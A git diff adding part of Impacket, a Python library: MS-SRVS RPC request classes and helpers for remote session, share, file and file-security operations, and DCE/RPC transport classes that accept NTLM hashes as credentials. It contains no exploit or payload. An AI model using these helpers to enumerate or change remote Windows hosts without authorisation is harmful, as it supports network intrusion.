+class NetprNameCompare(NDRCALL):
+    opnum = 35
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Name1', WSTR),
+       ('Name2', WSTR),
+       ('NameType', DWORD),
+       ('Flags', DWORD),
+    )
+
+class NetprNameCompareResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.35 NetrDfsGetVersion (Opnum 43)
+class NetrDfsGetVersion(NDRCALL):
+    opnum = 43
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+    )
+
+class NetrDfsGetVersionResponse(NDRCALL):
+    structure = (
+       ('Version', DWORD),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.36 NetrDfsCreateLocalPartition (Opnum 44)
+class NetrDfsCreateLocalPartition(NDRCALL):
+    opnum = 44
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('ShareName', WSTR),
+       ('EntryUid', GUID),
+       ('EntryPrefix', WSTR),
+       ('ShortName', WSTR),
+       ('RelationInfo', NET_DFS_ENTRY_ID_CONTAINER),
+       ('Force', DWORD),
+    )
+
+class NetrDfsCreateLocalPartitionResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.37 NetrDfsDeleteLocalPartition (Opnum 45)
+class NetrDfsDeleteLocalPartition(NDRCALL):
+    opnum = 45
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Uid', GUID),
+       ('Prefix', WSTR),
+    )
+
+class NetrDfsDeleteLocalPartitionResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.38 NetrDfsSetLocalVolumeState (Opnum 46)
+class NetrDfsSetLocalVolumeState(NDRCALL):
+    opnum = 46
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Uid', GUID),
+       ('Prefix', WSTR),
+       ('State', DWORD),
+    )
+
+class NetrDfsSetLocalVolumeStateResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.39 NetrDfsCreateExitPoint (Opnum 48)
+class NetrDfsCreateExitPoint(NDRCALL):
+    opnum = 48
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Uid', GUID),
+       ('Prefix', WSTR),
+       ('Type', DWORD),
+       ('ShortPrefixLen', DWORD),
+    )
+
+class NetrDfsCreateExitPointResponse(NDRCALL):
+    structure = (
+       ('ShortPrefix',WCHAR_ARRAY),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.40 NetrDfsModifyPrefix (Opnum 50)
+class NetrDfsModifyPrefix(NDRCALL):
+    opnum = 50
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Uid', GUID),
+       ('Prefix', WSTR),
+    )
+
+class NetrDfsModifyPrefixResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.41 NetrDfsDeleteExitPoint (Opnum 49)
+class NetrDfsDeleteExitPoint(NDRCALL):
+    opnum = 49
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Uid', GUID),
+       ('Prefix', WSTR),
+       ('Type', DWORD),
+    )
+
+class NetrDfsDeleteExitPointResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.42 NetrDfsFixLocalVolume (Opnum 51)
+class NetrDfsFixLocalVolume(NDRCALL):
+    opnum = 51
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('VolumeName', WSTR),
+       ('EntryType', DWORD),
+       ('ServiceType', DWORD),
+       ('StgId', WSTR),
+       ('EntryUid', GUID),
+       ('EntryPrefix', WSTR),
+       ('RelationInfo', NET_DFS_ENTRY_ID_CONTAINER),
+       ('CreateDisposition', DWORD),
+    )
+
+class NetrDfsFixLocalVolumeResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.43 NetrDfsManagerReportSiteInfo (Opnum 52)
+class NetrDfsManagerReportSiteInfo(NDRCALL):
+    opnum = 52
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('ppSiteInfo', LPDFS_SITELIST_INFO),
+    )
+
+class NetrDfsManagerReportSiteInfoResponse(NDRCALL):
+    structure = (
+       ('ppSiteInfo', LPDFS_SITELIST_INFO),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.44 NetrServerAliasAdd (Opnum 54)
+class NetrServerAliasAdd(NDRCALL):
+    opnum = 54
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('InfoStruct', SERVER_ALIAS_INFO),
+    )
+
+class NetrServerAliasAddResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.45 NetrServerAliasEnum (Opnum 55)
+class NetrServerAliasEnum(NDRCALL):
+    opnum = 55
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('InfoStruct', SERVER_ALIAS_ENUM_STRUCT),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrServerAliasEnumResponse(NDRCALL):
+    structure = (
+       ('InfoStruct',SERVER_ALIAS_ENUM_STRUCT),
+       ('TotalEntries',DWORD),
+       ('ResumeHandle',LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.46 NetrServerAliasDel (Opnum 56)
+class NetrServerAliasDel(NDRCALL):
+    opnum = 56
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('InfoStruct', SERVER_ALIAS_INFO),
+    )
+
+class NetrServerAliasDelResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.47 NetrShareDelEx (Opnum 57)
+class NetrShareDelEx(NDRCALL):
+    opnum = 57
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('ShareInfo', SHARE_INFO),
+    )
+
+class NetrShareDelExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 8 : (NetrConnectionEnum, NetrConnectionEnumResponse),
+ 9 : (NetrFileEnum, NetrFileEnumResponse),
+10 : (NetrFileGetInfo, NetrFileGetInfoResponse),
+11 : (NetrFileClose, NetrFileCloseResponse),
+12 : (NetrSessionEnum, NetrSessionEnumResponse),
+13 : (NetrSessionDel, NetrSessionDelResponse),
+14 : (NetrShareAdd, NetrShareAddResponse),
+15 : (NetrShareEnum, NetrShareEnumResponse),
+16 : (NetrShareGetInfo, NetrShareGetInfoResponse),
+17 : (NetrShareSetInfo, NetrShareSetInfoResponse),
+18 : (NetrShareDel, NetrShareDelResponse),
+19 : (NetrShareDelSticky, NetrShareDelStickyResponse),
+20 : (NetrShareCheck, NetrShareCheckResponse),
+21 : (NetrServerGetInfo, NetrServerGetInfoResponse),
+22 : (NetrServerSetInfo, NetrServerSetInfoResponse),
+23 : (NetrServerDiskEnum, NetrServerDiskEnumResponse),
+24 : (NetrServerStatisticsGet, NetrServerStatisticsGetResponse),
+25 : (NetrServerTransportAdd, NetrServerTransportAddResponse),
+26 : (NetrServerTransportEnum, NetrServerTransportEnumResponse),
+27 : (NetrServerTransportDel, NetrServerTransportDelResponse),
+28 : (NetrRemoteTOD, NetrRemoteTODResponse),
+30 : (NetprPathType, NetprPathTypeResponse),
+31 : (NetprPathCanonicalize, NetprPathCanonicalizeResponse),
+32 : (NetprPathCompare, NetprPathCompareResponse),
+33 : (NetprNameValidate, NetprNameValidateResponse),
+34 : (NetprNameCanonicalize, NetprNameCanonicalizeResponse),
+35 : (NetprNameCompare, NetprNameCompareResponse),
+36 : (NetrShareEnumSticky, NetrShareEnumStickyResponse),
+37 : (NetrShareDelStart, NetrShareDelStartResponse),
+38 : (NetrShareDelCommit, NetrShareDelCommitResponse),
+39 : (NetrpGetFileSecurity, NetrpGetFileSecurityResponse),
+40 : (NetrpSetFileSecurity, NetrpSetFileSecurityResponse),
+41 : (NetrServerTransportAddEx, NetrServerTransportAddExResponse),
+43 : (NetrDfsGetVersion, NetrDfsGetVersionResponse),
+44 : (NetrDfsCreateLocalPartition, NetrDfsCreateLocalPartitionResponse),
+45 : (NetrDfsDeleteLocalPartition, NetrDfsDeleteLocalPartitionResponse),
+46 : (NetrDfsSetLocalVolumeState, NetrDfsSetLocalVolumeStateResponse),
+48 : (NetrDfsCreateExitPoint, NetrDfsCreateExitPointResponse),
+49 : (NetrDfsDeleteExitPoint, NetrDfsDeleteExitPointResponse),
+50 : (NetrDfsModifyPrefix, NetrDfsModifyPrefixResponse),
+51 : (NetrDfsFixLocalVolume, NetrDfsFixLocalVolumeResponse),
+52 : (NetrDfsManagerReportSiteInfo, NetrDfsManagerReportSiteInfoResponse),
+53 : (NetrServerTransportDelEx, NetrServerTransportDelExResponse),
+54 : (NetrServerAliasAdd, NetrServerAliasAddResponse),
+55 : (NetrServerAliasEnum, NetrServerAliasEnumResponse),
+56 : (NetrServerAliasDel, NetrServerAliasDelResponse),
+57 : (NetrShareDelEx, NetrShareDelExResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hNetrConnectionEnum(dce, qualifier, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrConnectionEnum()
+    request['ServerName'] = NULL
+    request['Qualifier'] = qualifier 
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['ConnectInfo']['tag'] = level
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    return dce.request(request)
+
+def hNetrFileEnum(dce, basePath, userName, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrFileEnum()
+    request['ServerName'] = NULL
+    request['BasePath'] = basePath
+    request['UserName'] = userName
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['FileInfo']['tag'] = level
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    return dce.request(request)
+
+def hNetrFileGetInfo(dce, fileId, level):
+    request = NetrFileGetInfo()
+    request['ServerName'] = NULL
+    request['FileId'] = fileId
+    request['Level'] = level
+    return dce.request(request)
+
+def hNetrFileClose(dce, fileId):
+    request = NetrFileClose()
+    request['ServerName'] = NULL
+    request['FileId'] = fileId
+    return dce.request(request)
+
+def hNetrSessionEnum(dce, clientName, userName, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrSessionEnum()
+    request['ServerName'] = NULL
+    request['ClientName'] = clientName
+    request['UserName'] = userName
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['SessionInfo']['tag'] = level
+    request['InfoStruct']['SessionInfo']['Level%d'%level]['Buffer'] = NULL
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+
+    return dce.request(request)
+
+def hNetrSessionDel(dce, clientName, userName):
+    request = NetrSessionDel()
+    request['ServerName'] = NULL
+    request['ClientName'] = clientName
+    request['UserName'] = userName
+    return dce.request(request)
+
+def hNetrShareAdd(dce, level, infoStruct):
+    request = NetrShareAdd()
+    request['ServerName'] = NULL
+    request['Level'] = level
+    request['InfoStruct']['tag'] = level
+    request['InfoStruct']['ShareInfo%d'%level] = infoStruct
+    return dce.request(request)
+
+def hNetrShareDel(dce, netName):
+    request = NetrShareDel()
+    request['ServerName'] = NULL
+    request['NetName'] = netName
+    return dce.request(request)
+
+def hNetrShareEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrShareEnum()
+    request['ServerName'] = '\x00'
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['ShareInfo']['tag'] = level
+    request['InfoStruct']['ShareInfo']['Level%d'%level]['Buffer'] = NULL
+
+    return dce.request(request)
+
+def hNetrShareEnumSticky(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrShareEnumSticky()
+    request['ServerName'] = NULL
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['ShareInfo']['tag'] = level
+    request['InfoStruct']['ShareInfo']['Level%d'%level]['Buffer'] = NULL
+
+    return dce.request(request)
+
+def hNetrShareGetInfo(dce, netName, level):
+    request = NetrShareGetInfo()
+    request['ServerName'] = NULL
+    request['NetName'] = netName
+    request['Level'] = level
+    return dce.request(request)
+
+def hNetrShareSetInfo(dce, netName, level, shareInfo):
+    request = NetrShareSetInfo()
+    request['ServerName'] = NULL
+    request['NetName'] = netName
+    request['Level'] = level
+    request['ShareInfo']['tag'] = level
+    request['ShareInfo']['ShareInfo%d'%level] = shareInfo
+
+    return dce.request(request)
+
+def hNetrShareDelSticky(dce, netName):
+    request = NetrShareDelSticky()
+    request['ServerName'] = NULL
+    request['NetName'] = netName
+    return dce.request(request)
+
+# Sacala la h a estos 2, y tira todos los test cases juntos
+def hNetrShareDelStart(dce, netName):
+    request = NetrShareDelStart()
+    request['ServerName'] = NULL
+    request['NetName'] = netName
+    return dce.request(request)
+
+def hNetrShareDelCommit(dce, contextHandle):
+    request = NetrShareDelCommit()
+    request['ContextHandle'] = contextHandle
+    return dce.request(request)
+
+def hNetrShareCheck(dce, device):
+    request = NetrShareCheck()
+    request['ServerName'] = NULL
+    request['Device'] = device
+    return dce.request(request)
+
+def hNetrServerGetInfo(dce, level):
+    request = NetrServerGetInfo()
+    request['ServerName'] = NULL
+    request['Level'] = level
+    return dce.request(request)
+
+def hNetrServerDiskEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrServerDiskEnum()
+    request['ServerName'] = NULL
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    request['Level'] = level
+    request['DiskInfoStruct']['Buffer'] = NULL
+    return dce.request(request)
+
+def hNetrServerStatisticsGet(dce, service, level, options):
+    request = NetrServerStatisticsGet()
+    request['ServerName'] = NULL
+    request['Service'] = service
+    request['Level'] = level
+    request['Options'] = options
+    return dce.request(request)
+
+def hNetrRemoteTOD(dce):
+    request = NetrRemoteTOD()
+    request['ServerName'] = NULL
+    return dce.request(request)
+
+def hNetrServerTransportEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrServerTransportEnum()
+    request['ServerName'] = NULL
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['XportInfo']['tag'] = level
+    request['InfoStruct']['XportInfo']['Level%d' % level]['Buffer'] = NULL
+    return dce.request(request)
+
+def hNetrpGetFileSecurity(dce, shareName, lpFileName, requestedInformation):
+    request = NetrpGetFileSecurity()
+    request['ServerName'] = NULL
+    request['ShareName'] = shareName
+    request['lpFileName'] = lpFileName
+    request['RequestedInformation'] = requestedInformation
+    retVal = dce.request(request)
+    return b''.join(retVal['SecurityDescriptor']['Buffer'])
+
+def hNetrpSetFileSecurity(dce, shareName, lpFileName, securityInformation, securityDescriptor):
+    request = NetrpSetFileSecurity()
+    request['ServerName'] = NULL
+    request['ShareName'] = shareName
+    request['lpFileName'] = lpFileName
+    request['SecurityInformation'] = securityInformation
+    request['SecurityDescriptor']['Length'] = len(securityDescriptor)
+    request['SecurityDescriptor']['Buffer'] = list(securityDescriptor)
+    return dce.request(request)
+
+def hNetprPathType(dce, pathName, flags):
+    request = NetprPathType()
+    request['ServerName'] = NULL
+    request['PathName'] = pathName
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hNetprPathCanonicalize(dce, pathName, prefix, outbufLen=50, pathType=0, flags=0):
+    request = NetprPathCanonicalize()
+    request['ServerName'] = NULL
+    request['PathName'] = pathName
+    request['OutbufLen'] = outbufLen
+    request['Prefix'] = prefix
+    request['PathType'] = pathType
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hNetprPathCompare(dce, pathName1, pathName2, pathType=0, flags=0):
+    request = NetprPathCompare()
+    request['ServerName'] = NULL
+    request['PathName1'] = pathName1
+    request['PathName2'] = pathName2
+    request['PathType'] = pathType
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hNetprNameValidate(dce, name, nameType, flags=0):
+    request = NetprNameValidate()
+    request['ServerName'] = NULL
+    request['Name'] = name
+    request['NameType'] = nameType
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hNetprNameCanonicalize(dce, name, outbufLen=50, nameType=0, flags=0):
+    request = NetprNameCanonicalize()
+    request['ServerName'] = NULL
+    request['Name'] = name
+    request['OutbufLen'] = outbufLen
+    request['NameType'] = nameType
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hNetprNameCompare(dce, name1, name2, nameType=0, flags=0):
+    request = NetprNameCompare()
+    request['ServerName'] = NULL
+    request['Name1'] = name1
+    request['Name2'] = name2
+    request['NameType'] = nameType
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hNetrDfsGetVersion(dce):
+    request = NetrDfsGetVersion()
+    request['ServerName'] = NULL
+    return dce.request(request)
+
+def hNetrServerAliasAdd(dce, level, aliasInfo):
+    request = NetrServerAliasAdd()
+    request['ServerName'] = NULL
+    request['Level'] = level
+    request['InfoStruct']['tag'] = level
+    request['InfoStruct']['ServerAliasInfo%d'%level] = aliasInfo
+    return dce.request(request)
+
+def hNetrServerAliasDel(dce, level, aliasInfo):
+    request = NetrServerAliasDel()
+    request['ServerName'] = NULL
+    request['Level'] = level
+    request['InfoStruct']['tag'] = level
+    request['InfoStruct']['ServerAliasInfo%d'%level] = aliasInfo
+    return dce.request(request)
+
+def hNetrServerAliasEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):
+    request = NetrServerAliasEnum()
+    request['ServerName'] = NULL
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['ServerAliasInfo']['tag'] = level
+    request['InfoStruct']['ServerAliasInfo']['Level%d' % level]['Buffer'] = NULL
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/transport.py b/impacket/dcerpc/v5/transport.py
new file mode 100644
index 0000000..32f65d8
--- /dev/null
+++ b/impacket/dcerpc/v5/transport.py
@@ -0,0 +1,598 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Transport implementations for the DCE/RPC protocol.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+
+import binascii
+import os
+import re
+import socket
+
+try:
+    from urllib.parse import urlparse, urlunparse
+except ImportError:
+    from urlparse import urlparse, urlunparse
+
+from impacket import ntlm
+from impacket.dcerpc.v5.rpcrt import DCERPCException, DCERPC_v5, DCERPC_v4
+from impacket.dcerpc.v5.rpch import RPCProxyClient, RPCProxyClientException, RPC_OVER_HTTP_v1, RPC_OVER_HTTP_v2
+from impacket.smbconnection import SMBConnection
+
+
+class DCERPCStringBinding:
+    parser = re.compile(r"(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?" +  # UUID (opt.)
+                        r"([_a-zA-Z0-9]*):" +  # Protocol Sequence
+                        r"([^\[]*)" +  # Network Address (opt.)
+                        r"(?:\[([^]]*)])?")  # Endpoint and options (opt.)
+
+    def __init__(self, stringbinding):
+        match = DCERPCStringBinding.parser.match(stringbinding)
+        self.__uuid = match.group(1)
+        self.__ps = match.group(2)
+        self.__na = match.group(3)
+        options = match.group(4)
+        if options:
+            options = options.split(',')
+            
+            self.__endpoint = options[0]
+            try:
+                self.__endpoint.index('endpoint=')
+                self.__endpoint = self.__endpoint[len('endpoint='):]
+            except:
+                pass
+
+            self.__options = {}
+            for option in options[1:]:
+                vv = option.split('=', 1)
+                self.__options[vv[0]] = vv[1] if len(vv) > 1 else ''
+        else:
+            self.__endpoint = ''
+            self.__options = {}
+
+    def get_uuid(self):
+        return self.__uuid
+
+    def get_protocol_sequence(self):
+        return self.__ps
+
+    def get_network_address(self):
+        return self.__na
+
+    def set_network_address(self, addr):
+        self.__na = addr
+
+    def get_endpoint(self):
+        return self.__endpoint
+
+    def get_options(self):
+        return self.__options
+
+    def get_option(self, option_name):
+        return self.__options[option_name]
+
+    def is_option_set(self, option_name):
+        return option_name in self.__options
+
+    def unset_option(self, option_name):
+        del self.__options[option_name]
+
+    def __str__(self):
+        return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options)
+
+
+def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options={}):
+    s = ''
+    if uuid:
+        s += uuid + '@'
+    s += protocol_sequence + ':'
+    if network_address:
+        s += network_address
+    if endpoint or options:
+        s += '[' + endpoint
+        if options:
+            s += ',' + ','.join([key if str(val) == '' else "=".join([key, str(val)]) for key, val in options.items()])
+        s += ']'
+
+    return s
+
+
+def DCERPCTransportFactory(stringbinding):
+    sb = DCERPCStringBinding(stringbinding)
+
+    na = sb.get_network_address()
+    ps = sb.get_protocol_sequence()
+    if 'ncadg_ip_udp' == ps:
+        port = sb.get_endpoint()
+        if port:
+            rpctransport = UDPTransport(na, int(port))
+        else:
+            rpctransport = UDPTransport(na)
+    elif 'ncacn_ip_tcp' == ps:
+        port = sb.get_endpoint()
+        if port:
+            rpctransport = TCPTransport(na, int(port))
+        else:
+            rpctransport = TCPTransport(na)
+    elif 'ncacn_http' == ps:
+        port = sb.get_endpoint()
+        if port:
+            rpctransport = HTTPTransport(na, int(port))
+        else:
+            rpctransport = HTTPTransport(na)
+    elif 'ncacn_np' == ps:
+        named_pipe = sb.get_endpoint()
+        if named_pipe:
+            named_pipe = named_pipe[len(r'\pipe'):]
+            rpctransport = SMBTransport(na, filename = named_pipe)
+        else:
+            rpctransport = SMBTransport(na)
+    elif 'ncalocal' == ps:
+        named_pipe = sb.get_endpoint()
+        rpctransport = LOCALTransport(filename = named_pipe)
+    else:
+        raise DCERPCException("Unknown protocol sequence.")
+
+    rpctransport.set_stringbinding(sb)
+    return rpctransport
+
+class DCERPCTransport:
+
+    DCERPC_class = DCERPC_v5
+
+    def __init__(self, remoteName, dstport):
+        self.__remoteName = remoteName
+        self.__remoteHost = remoteName
+        self.__dstport = dstport
+        self._stringbinding = None
+        self._max_send_frag = None
+        self._max_recv_frag = None
+        self._domain = ''
+        self._lmhash = ''
+        self._nthash = ''
+        self.__connect_timeout = None
+        self._doKerberos = False
+        self._username = ''
+        self._password = ''
+        self._domain   = ''
+        self._aesKey   = None
+        self._TGT      = None
+        self._TGS      = None
+        self._kdcHost  = None
+        self.set_credentials('','')
+        # Strict host validation - off by default and currently only for
+        # SMBTransport
+        self._strict_hostname_validation = False
+        self._validation_allow_absent = True
+        self._accepted_hostname = ''
+
+    def connect(self):
+        raise RuntimeError('virtual function')
+    def send(self,data=0, forceWriteAndx = 0, forceRecv = 0):
+        raise RuntimeError('virtual function')
+    def recv(self, forceRecv = 0, count = 0):
+        raise RuntimeError('virtual function')
+    def disconnect(self):
+        raise RuntimeError('virtual function')
+    def get_socket(self):
+        raise RuntimeError('virtual function')
+
+    def get_connect_timeout(self):
+        return self.__connect_timeout
+    def set_connect_timeout(self, timeout):
+        self.__connect_timeout = timeout
+
+    def getRemoteName(self):
+        return self.__remoteName
+
+    def setRemoteName(self, remoteName):
+        """This method only makes sense before connection for most protocols."""
+        self.__remoteName = remoteName
+
+    def getRemoteHost(self):
+        return self.__remoteHost
+
+    def setRemoteHost(self, remoteHost):
+        """This method only makes sense before connection for most protocols."""
+        self.__remoteHost = remoteHost
+
+    def get_dport(self):
+        return self.__dstport
+    def set_dport(self, dport):
+        """This method only makes sense before connection for most protocols."""
+        self.__dstport = dport
+
+    def get_stringbinding(self):
+        return self._stringbinding
+
+    def set_stringbinding(self, stringbinding):
+        self._stringbinding = stringbinding
+
+    def get_addr(self):
+        return self.getRemoteHost(), self.get_dport()
+    def set_addr(self, addr):
+        """This method only makes sense before connection for most protocols."""
+        self.setRemoteHost(addr[0])
+        self.set_dport(addr[1])
+
+    def set_kerberos(self, flag, kdcHost = None):
+        self._doKerberos = flag
+        self._kdcHost = kdcHost
+
+    def get_kerberos(self):
+        return self._doKerberos
+
+    def get_kdcHost(self):
+        return self._kdcHost
+
+    def set_max_fragment_size(self, send_fragment_size):
+        # -1 is default fragment size: 0 (don't fragment)
+        #  0 is don't fragment
+        #    other values are max fragment size
+        if send_fragment_size == -1:
+            self.set_default_max_fragment_size()
+        else:
+            self._max_send_frag = send_fragment_size
+
+    def set_hostname_validation(self, validate, accept_empty, hostname):
+        self._strict_hostname_validation = validate
+        self._validation_allow_absent = accept_empty
+        self._accepted_hostname = hostname
+
+    def set_default_max_fragment_size(self):
+        # default is 0: don't fragment.
+        # subclasses may override this method
+        self._max_send_frag = 0
+
+    def get_credentials(self):
+        return (
+            self._username,
+            self._password,
+            self._domain,
+            self._lmhash,
+            self._nthash,
+            self._aesKey,
+            self._TGT,
+            self._TGS)
+
+    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
+        self._username = username
+        self._password = password
+        self._domain   = domain
+        self._aesKey   = aesKey
+        self._TGT      = TGT
+        self._TGS      = TGS
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0%s' % lmhash
+            if len(nthash) % 2:
+                nthash = '0%s' % nthash
+            try: # just in case they were converted already
+               self._lmhash = binascii.unhexlify(lmhash)
+               self._nthash = binascii.unhexlify(nthash)
+            except:
+               self._lmhash = lmhash
+               self._nthash = nthash
+               pass
+
+    def doesSupportNTLMv2(self):
+        # By default we'll be returning the library's default. Only on SMB Transports we might be able to know it beforehand
+        return ntlm.USE_NTLMv2
+
+    def get_dce_rpc(self):
+        return DCERPC_v5(self)
+
+class UDPTransport(DCERPCTransport):
+    "Implementation of ncadg_ip_udp protocol sequence"
+
+    DCERPC_class = DCERPC_v4
+
+    def __init__(self, remoteName, dstport = 135):
+        DCERPCTransport.__init__(self, remoteName, dstport)
+        self.__socket = 0
+        self.set_connect_timeout(30)
+        self.__recv_addr = ''
+
+    def connect(self):
+        try:
+            af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_DGRAM)[0]
+            self.__socket = socket.socket(af, socktype, proto)
+            self.__socket.settimeout(self.get_connect_timeout())
+        except socket.error as msg:
+            self.__socket = None
+            raise DCERPCException("Could not connect: %s" % msg)
+
+        return 1
+
+    def disconnect(self):
+        try:
+            self.__socket.close()
+        except socket.error:
+            self.__socket = None
+            return 0
+        return 1
+
+    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
+        self.__socket.sendto(data, (self.getRemoteHost(), self.get_dport()))
+
+    def recv(self, forceRecv = 0, count = 0):
+        buffer, self.__recv_addr = self.__socket.recvfrom(8192)
+        return buffer
+
+    def get_recv_addr(self):
+        return self.__recv_addr
+
+    def get_socket(self):
+        return self.__socket
+
+class TCPTransport(DCERPCTransport):
+    """Implementation of ncacn_ip_tcp protocol sequence"""
+
+    def __init__(self, remoteName, dstport = 135):
+        DCERPCTransport.__init__(self, remoteName, dstport)
+        self.__socket = 0
+        self.set_connect_timeout(30)
+
+    def connect(self):
+        af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_STREAM)[0]
+        self.__socket = socket.socket(af, socktype, proto)
+        try:
+            self.__socket.settimeout(self.get_connect_timeout())
+            self.__socket.connect(sa)
+        except socket.error as msg:
+            self.__socket.close()
+            raise DCERPCException("Could not connect: %s" % msg)
+        return 1
+
+    def disconnect(self):
+        try:
+            self.__socket.close()
+        except socket.error:
+            self.__socket = None
+            return 0
+        return 1
+
+    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
+        if self._max_send_frag:
+            offset = 0
+            while 1:
+                toSend = data[offset:offset+self._max_send_frag]
+                if not toSend:
+                    break
+                self.__socket.send(toSend)
+                offset += len(toSend)
+        else:
+            self.__socket.send(data)
+
+    def recv(self, forceRecv = 0, count = 0):
+        if count:
+            buffer = b''
+            while len(buffer) < count:
+               buffer += self.__socket.recv(count-len(buffer))
+        else:
+            buffer = self.__socket.recv(8192)
+        return buffer
+
+    def get_socket(self):
+        return self.__socket
+
+class HTTPTransport(TCPTransport, RPCProxyClient):
+    """Implementation of ncacn_http protocol sequence"""
+
+    def __init__(self, remoteName=None, dstport=593):
+        self._useRpcProxy = False
+        self._rpcProxyUrl = None
+        self._transport   = TCPTransport
+        self._version     = RPC_OVER_HTTP_v2
+
+        DCERPCTransport.__init__(self, remoteName, dstport)
+        RPCProxyClient.__init__(self, remoteName, dstport)
+        self.set_connect_timeout(30)
+
+    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
+        return self._transport.set_credentials(self, username, password,
+            domain, lmhash, nthash, aesKey, TGT, TGS)
+
+    def rpc_proxy_init(self):
+        self._useRpcProxy = True
+        self._transport   = RPCProxyClient
+
+    def set_rpc_proxy_url(self, url):
+        self.rpc_proxy_init()
+        self._rpcProxyUrl = urlparse(url)
+
+    def get_rpc_proxy_url(self):
+        return urlunparse(self._rpcProxyUrl)
+
+    def set_stringbinding(self, set_stringbinding):
+        DCERPCTransport.set_stringbinding(self, set_stringbinding)
+
